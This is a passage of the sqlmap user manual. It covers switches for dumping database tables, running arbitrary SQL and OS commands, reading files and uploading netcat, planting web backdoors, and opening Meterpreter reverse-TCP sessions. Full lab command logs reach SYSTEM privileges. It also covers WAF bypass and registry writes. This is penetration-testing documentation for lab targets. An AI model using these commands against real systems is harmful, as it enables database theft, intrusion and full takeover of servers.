Switch and options: `--dump`, `-C`, `-T`, `-D`, `--start`, `--stop`, `--first` and `--last`

When the session user has read access to a specific database's table it is possible to dump the table entries.

This functionality depends on switch `-T` to specify the table name and optionally on switch `-D` to specify the database name. If the table name is provided, but the database name is not, the current database name is used.

Example against a Firebird target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T us
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+
```

This switch can also be used to dump all tables' entries of a provided database. You simply have to provide sqlmap with the `--dump` switch along with only the `-D` switch, no `-T` and no `-C`.

You can also provide a comma-separated list of the specific columns to dump with the `-C` switch.

sqlmap also generates for each table dumped the entries in a CSV format textual file. You can see the absolute path where sqlmap creates the file by providing a verbosity level greater than or equal to **1**.

If you want to dump only a range of entries, then you can provide switches `--start` and/or `--stop` to respectively start to dump from a certain entry and stop the dump at a certain entry. For instance, if you want to dump only the first entry, provide `--stop 1` in your command line. Vice versa if, for instance, you want to dump only the second and third entry, provide `--start 1 --stop 3`.

It is also possible to specify which single character or range of characters to dump with switches `--first` and `--last`. For instance, if you want to dump columns' entries from the third to the fifth character, provide `--first 3 --last 5`. This feature only applies to the blind SQL injection techniques because for error-based and UNION query SQL injection techniques the number of requests is exactly the same, regardless of the length of the column's entry output to dump.

As you may have noticed by now, sqlmap is **flexible**: you can leave it to automatically dump the whole database table or you can be very precise in which characters to dump, from which columns and which range of entries.

6.9.17 Dump all databases tables entries

Switches: `--dump-all` and `--exclude-sysdbs`

It is possible to dump all databases tables entries at once that the session user has read access on.

You can also provide the `--exclude-sysdbs` switch to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables.

Note that on Microsoft SQL Server the `master` database is not considered a system database because some database administrators use it as a users' database.

6.9.18 Search for columns, tables or databases

Switch and options: `--search`, `-C`, `-T`, `-D`

This switch allows you to **search for specific database names, specific tables across all databases or specific columns across all databases' tables**.

This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like *name* and *pass*.

Switch `--search` needs to be used in conjunction with one of the following support switches:

- `-C` following a list of comma-separated column names to look for across the whole database management system.
- `-T` following a list of comma-separated table names to look for across the whole database management system.
- `-D` following a list of comma-separated database names to look for across the database management system.

6.9.19 Run custom SQL statement

Option and switch: `--sql-query` and `--sql-shell`

The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is appropriate to use to inject it and how to pack the SQL payload accordingly.

If the query is a `SELECT` statement, sqlmap will retrieve its output. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system. Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

Examples against a Microsoft SQL Server 2000 target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it in
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000))
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'
```

As you can see, sqlmap splits the provided query into two different `SELECT` statements then retrieves the output for each separate query.

If the provided query is a `SELECT` statement and contains a `FROM` clause, sqlmap will ask you if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to count the number of possible entries and retrieve its output, entry per entry.

The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected to the database management system. This feature provides TAB completion and history support too.

6.10 Brute force

These switches can be used to run brute force checks.

6.10.1 Brute force tables names

Switch: `--common-tables`

There are cases where `--tables` switch can not be used to retrieve the databases' table names. These cases usually fit into one of the following categories:

- The database management system is MySQL $<$ **5.0** where `information_schema` is not available.
- The database management system is Microsoft Access and system table `MSysObjects` is not readable - default setting.
- The session user does not have read privileges against the system table storing the scheme of the databases.

If any of the first two cases apply and you provided the `--tables` switch, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the `--common-tables` switch. sqlmap will perform a brute-force attack in order to detect the existence of common tables across the DBMS.

The list of common table names is `txt/common-tables.txt` and you can edit it as you wish.

Example against a MySQL 4.1 target:

```
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
--common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tab
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+
```

6.10.2 Brute force columns names

Switch: `--common-columns`

As per tables, there are cases where `--columns` switch can not be used to retrieve the databases' tables' column names. These cases usually fit into one of the following categories:

- The database management system is MySQL $<$ **5.0** where `information_schema` is not available.
- The database management system is Microsoft Access where this kind of information is not available inside system tables.
- The session user does not have read privileges against the system table storing the scheme of the databases.

If any of the first two cases apply and you provided the `--columns` switch, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the `--common-columns` switch. sqlmap will perform a brute-force attack in order to detect the existence of common columns across the DBMS.

The list of common table names is `txt/common-columns.txt` and you can edit it as you wish.

6.11 User-defined function injection

These options can be used to create custom user-defined functions.

6.11.1 Inject custom user-defined functions (UDF)

Switch and option: `--udf-inject` and `--shared-lib`

You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Use option `--udf-inject` and follow the instructions.

If you want, you can specify the shared library local file system path via command line too by using `--shared-lib` option. Vice versa sqlmap will ask you for the path at runtime.

This feature is available only when the database management system is MySQL or PostgreSQL.

6.12 File system access

6.12.1 Read a file from the database server's file system

Option: `--file-read`

It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a Microsoft SQL Server 2005 target to retrieve a binary file:

```
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.e
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
```

6.12.2 Upload a file to the database server's file system

Options: `--file-write` and `--file-dest`

It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a MySQL target to upload a binary UPX-compressed file:

```
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
```

6.13 Operating system takeover

6.13.1 Run arbitrary operating system command

Option and switch: `--os-cmd` and `--os-shell`

It is possible to **run arbitrary commands on the database server's underlying operating system** when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has

the needed privileges to abuse database specific functionalities and architectural weaknesses.

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, `sys_exec()` and `sys_eval()`, then it creates these two functions on the database and calls one of them to execute the specified command, depending on user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the `xp_cmdshell` stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.

When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a PostgreSQL target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually
```

It is also possible to simulate a real shell where you can type as many arbitrary

commands as you wish. The option is `--os-shell` and has the same TAB completion and history functionalities that `--sql-shell` has.

Where stacked queries has not been identified on the web application (e.g. PHP or ASP with back-end database management system being MySQL) and the DBMS is MySQL, it is still possible to abuse the `SELECT` clause's `INTO OUTFILE` to create a web backdoor in a writable folder within the web server document root and still get command execution assuming the back-end DBMS and the web server are hosted on the same server. sqlmap supports this technique and allows the user to provide a comma-separated list of possible document root sub-folders where try to upload the web file stager and the subsequent web backdoor. Also, sqlmap has its own tested web file stagers and backdoors for the following languages:

- ASP
- ASP.NET
- JSP
- PHP

6.13.2 Out-of-band stateful connection: Meterpreter & friends

Options and switches: `--os-pwn`, `--os-smbrelay`, `--os-bof`, `--priv-esc`, `--msf-path` and `--tmp-path`

It is possible to establish an **out-of-band stateful TCP connection between the attacker machine and the database server** underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.

sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

- Database **in-memory execution of the Metasploit's shellcode** via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL - switch `--os-pwn`.
- Upload and execution of a Metasploit's **stand-alone payload stager** via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server - switch `--os-pwn`.

- Execution of Metasploit's shellcode by performing a **SMB reflection attack** (MS08-068) with a UNC path request from the database server to the attacker's machine where the Metasploit `smb_relay` server exploit listens. Supported when running sqlmap with high privileges (`uid=0`) on Linux/Unix and the target DBMS runs as Administrator on Windows - switch `--os-smbrelay`.
- Database in-memory execution of the Metasploit's shellcode by exploiting **Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow** (MS09-004). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation - switch `--os-bof`.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pw
--msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
```

```
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

                                  _
                                 | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                         /|
                         \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
```

```
hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit
```

By default MySQL on Windows runs as `SYSTEM`, however PostgreSQL runs as a low-privileged user `postgres` on both Windows and Linux. Microsoft SQL Server 2000 by default runs as `SYSTEM`, whereas Microsoft SQL Server 2005 and 2008 run most of the times as `NETWORK SERVICE` and sometimes as `LOCAL SERVICE`.

It is possible to provide sqlmap with the `--priv-esc` switch to perform a **database process' user privilege escalation** via Metasploit's `getsystem` command which include, among others, the kitrap0d technique (MS10-015).

6.14 Windows registry access

It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the

web application supports stacked queries. Also, session user has to have the needed privileges to access it.

6.14.1 Read a Windows registry key value

Option: `--reg-read`

Using this option you can read registry key values.

6.14.2 Write a Windows registry key value

Option: `--reg-add`

Using this option you can write registry key values.

6.14.3 Delete a Windows registry key

Option: `--reg-del`

Using this option you can delete registry keys.

6.14.4 Auxiliary registry switches

Options: `--reg-key`, `--reg-value`, `--reg-data` and `--reg-type`

These switches can be used to provide data needed for proper running of options `--reg-read`, `--reg-add` and `--reg-del`. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments.

With `--reg-key` option you specify used Windows registry key path, with `--reg-value` value item name inside provided key, with `--reg-data` value data, while with `--reg-type` option you specify type of the value item.

A sample command line for adding a registry key hive follows:

```
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
--reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data
```

6.15 General

These options can be used to set some general working parameters.

6.15.1 Load session

Option: `-s`

TODO: needs updating.

6.15.2 Log HTTP(S) traffic to a textual file

Option: `-t`

This switch requires an argument that specified the textual file to write all HTTP(s) traffic generated by sqlmap: HTTP(S) requests and HTTP(S) responses.

This is useful primarily for debug purposes - when you provide the developers with a potential bug report, send this file too.

6.15.3 Act in non-interactive mode

Switch: `--batch`

If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force that by using `--batch` switch. This will leave sqlmap to go with a default behaviour whenever user's input would be required.

6.15.4 Force character encoding used for data retrieval

Option: `--charset`

For proper decoding of character data sqlmap uses either web server provided information (e.g. HTTP header `Content-Type`) or a heuristic result coming from a 3rd party library chardet.

Nevertheless, there are cases when this value has to be overwritten, especially when retrieving data containing international non-ASCII letters (e.g. `--charset=GBK`). It has to be noted that there is a possibility that character information is going to be irreversibly lost due to implicit incompatibility between stored database content and used database connector at the target side.

6.15.5 Crawl the website starting from the target URL

Option: `--crawl`

sqlmap can collect potentially vulnerable links by collecting them (crawling) starting from the target location. Using this option user can set a depth (distance from a starting location) below which sqlmap won't go in collecting phase, as the process is being done recursively as long as there are new links to be visited.

Example run against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[11:54:53] [INFO] starting crawler
[11:54:53] [INFO] searching for links with depth 1
[11:54:53] [WARNING] running in a single-thread mode. This could take a while
[11:54:53] [INFO] searching for links with depth 2
[11:54:54] [INFO] heuristics detected web page charset 'ascii'
[11:55:00] [INFO] 42/56 links visited (75%)
[...]
```

6.15.6 Delimiting character used in CSV output

Option: `--csv-del`

When data being dumped is stored into the CSV format (`--dump-format=CSV`), entries have to be separated with a "separation value" (default is `,`). In case that user wants to override its default value he can use this option (e.g. `--csv-del=";"`).

6.15.7 DBMS authentication credentials

Option: `--dbms-cred`

In some cases user will be warned that some operations failed because of lack of current DBMS user privileges and that he could try to use this option. In those cases, if he provides `admin` user credentials to sqlmap by using this option, sqlmap will try to rerun the problematic part with specialized "run as" mechanisms (e.g. `OPENROWSET` on Microsoft SQL Server) using those credentials.

6.15.8 Format of dumped data

Option: `--dump-format`

sqlmap supports three different types of formatting when storing dumped table data into the corresponding file inside an output directory: `CSV`, `HTML` and `SQLITE`. Default one is `CSV`, where each table row is stored into a textual file line by line, and where each entry is separated with a comma character `,` (or one provided with option `--csv-del`). In case of `HTML`, output is being stored into a HTML file, where each row is represented with a row inside a formatted table. In case of `SQLITE`, output is being stored into a SQLITE database, where original table content is replicated into the corresponding table having a same name.

6.15.9 Estimated time of arrival

Switch: `--eta`

It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection types.

Example against an Oracle target affected only by boolean-based blind SQL injection:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19
```

Then:

```
100% [==================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Pro

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
```

As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved output characters.

6.15.10 Flush session files

Option: `--flush-session`

As you are already familiar with the concept of a session file from the description above, it is good to know that you can flush the content of that file using option `--flush-session`. This way you can avoid the caching mechanisms implemented by default in sqlmap. Other possible way is to manually remove the session file(s).

6.15.11 Force usage of SSL/HTTPS requests

Switch: `--force-ssl`

In case that user wants to force usage of SSL/HTTPS requests toward the target, he can use this switch. This can be useful in cases when urls are being collected by using switch `--crawl` or when Burp log is being provided with option `-l`.

6.15.12 Parse and test forms' input fields

Switch: `--forms`

Say that you want to test against SQL injections a huge *search form* or you want to test a login bypass (typically only two input fields named like *username* and *password*), you can either pass to sqlmap the request in a request file (`-r`), set the POSTed data accordingly (`--data`) or let sqlmap do it for you!

Both of the above mentioned instances, and many others, appear as `<form>` and `<input>` tags in HTML response bodies and this is where this switch comes into play.

Provide sqlmap with `--forms` as well as the page where the form can be found as the target URL (`-u`) and sqlmap will request the target URL for you, parse the forms it has and guide you through to test for SQL injection on those form input fields (parameters) rather than the target URL provided.

6.15.13 Ignore query results stored in session file

Switch: `--fresh-queries`

As you are already familiar with the concept of a session file from the description above, it is good to know that you can ignore the content of that file using option `--fresh-queries`. This way you can keep the session file untouched and for a selected run, avoid the resuming/restoring of queries output.

6.15.14 Use DBMS hex function(s) for data retrieval

Switch: `--hex`

In lost of cases retrieval of non-ASCII data requires special needs. One solution for that problem is usage of DBMS hex function(s). Turned on by this switch, data is encoded to it's hexadecimal form before being retrieved and afterwards unencoded to it's original form.

Example against a PostgreSQL target:

```
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -

[...]
[20:01:14] [INFO] fetching banner
[20:01:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCO
[20:01:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg
[20:01:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
```

6.15.15 Custom output directory path

Option: `--output-dir`

sqlmap by default stores session and result files inside a subdirectory `output`. In case you want to use a different location, you can use this option (e.g. `--output-dir=/tmp`).

6.15.16 Parse DBMS error messages from response pages

Switch: `--parse-errors`

If the web application is configured in debug mode so that it displays in the HTTP responses the back-end database management system error messages, sqlmap can parse and display them for you.

This is useful for debugging purposes like understanding why a certain enumeration or takeover switch does not work - it might be a matter of session user's privileges and in this case you would see a DBMS error message along the lines of `Access denied for user <SESSION USER>`.

Example against a Microsoft SQL Server target:

```
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-erro
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of ran
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of rang
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of rang
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]
```

6.15.17 Pivot column

Option: `--pivot-column`

TODO: needs updating.

6.15.18 Save options in a configuration INI file

Switch: `--save`

It is possible to save the command line options to a configuration INI file. The generated file can then be edited and passed to sqlmap with the `-c` option as explained above.

6.15.19 Update sqlmap

Switch: `--update`

Using this option you can update the tool to the latest development version directly from the Git repository. You obviously need Internet access.

If, for any reason, this operation fails, run `git pull` from your sqlmap working copy. It will perform the exact same operation of switch `--update`. If you are running sqlmap on Windows, you can use the SmartGit client.

This is strongly recommended **before** reporting any bug to the mailing lists.

6.16 Miscellaneous

6.16.1 Short mnemonics

Option: `-z`

TODO: needs updating.

6.16.2 Alerting on successful SQL injection detection

Option: `--alert`

TODO: needs updating.

6.16.3 Set answers for questions

Option: `--answers`

In case that user wants to automatically set up answers for questions, even if `--batch` is used, using this option he can do it by providing any part of question together with answer after an equal sign. Also, answers for different question can be splitted with delimiter character `;`.

Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --a
[...]
[21:58:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip
[21:58:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1)
[...]
```

6.16.4 Make a beep sound when SQL injection is found

Switch: `--beep`

In case that user uses switch `--beep` he'll be warned with a beep sound immediately when SQL injection is found. This is especially useful when there is a large bulk list (option `-m`) of target URLs to be tested.

6.16.5 Heuristically check for WAF/IPS/IDS protection

Switch: `--check-waf`

WAF/IPS/IDS protection mechanisms can deal a lot of trouble to sqlmap. In case that user suspects that one such mechanism is protecting the target he can use this switch to make a dummy heuristic check. sqlmap will send inside the original request a dummy parameter value containing a "suspicious" SQL injection payload (e.g. `...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1`). In case that target responds differently there is a high possibility that it's under such protection.

6.16.6 Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

Switch: `--cleanup`

It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done taking over the underlying operating system or file system. Switch `--cleanup` will attempt to clean up the DBMS and the file system wherever possible.

6.16.7 Check for dependencies

Switch: `--dependencies`

TODO: needs updating.

6.16.8 Disable console output coloring

Switch: `--disable-coloring`

sqlmap by default uses coloring while writting to console. In case of undesired effects (e.g. console appearance of uninterpreted ANSI coloring codes like `\x01\x1b[0;32m\x02[INFO]`) you can disable console output coloring by using this switch.

6.16.9 Use Google dork results from specified page number

Option: `--gpage`

Default sqlmap behavior with option `-g` is to do a Google search and use the first 100 resulting URLs for further SQL injection testing. However, in combination with this option you can specify with this switch, `--gpage`, some page other than the first one to retrieve target URLs from.

6.16.10 Use HTTP parameter pollution

Switch: `--hpp`

HTTP parameter pollution (HPP) is a method for bypassing WAF/IPS/IDS protection mechanisms (explained here) that is particularly effective against ASP/IIS and ASP.NET/IIS platforms. If you suspect that the target is behind such protection, you can try to bypass it by using this switch.

6.16.11 Make a through testing for a WAF/IPS/IDS protection

Switch: `--identify-waf`

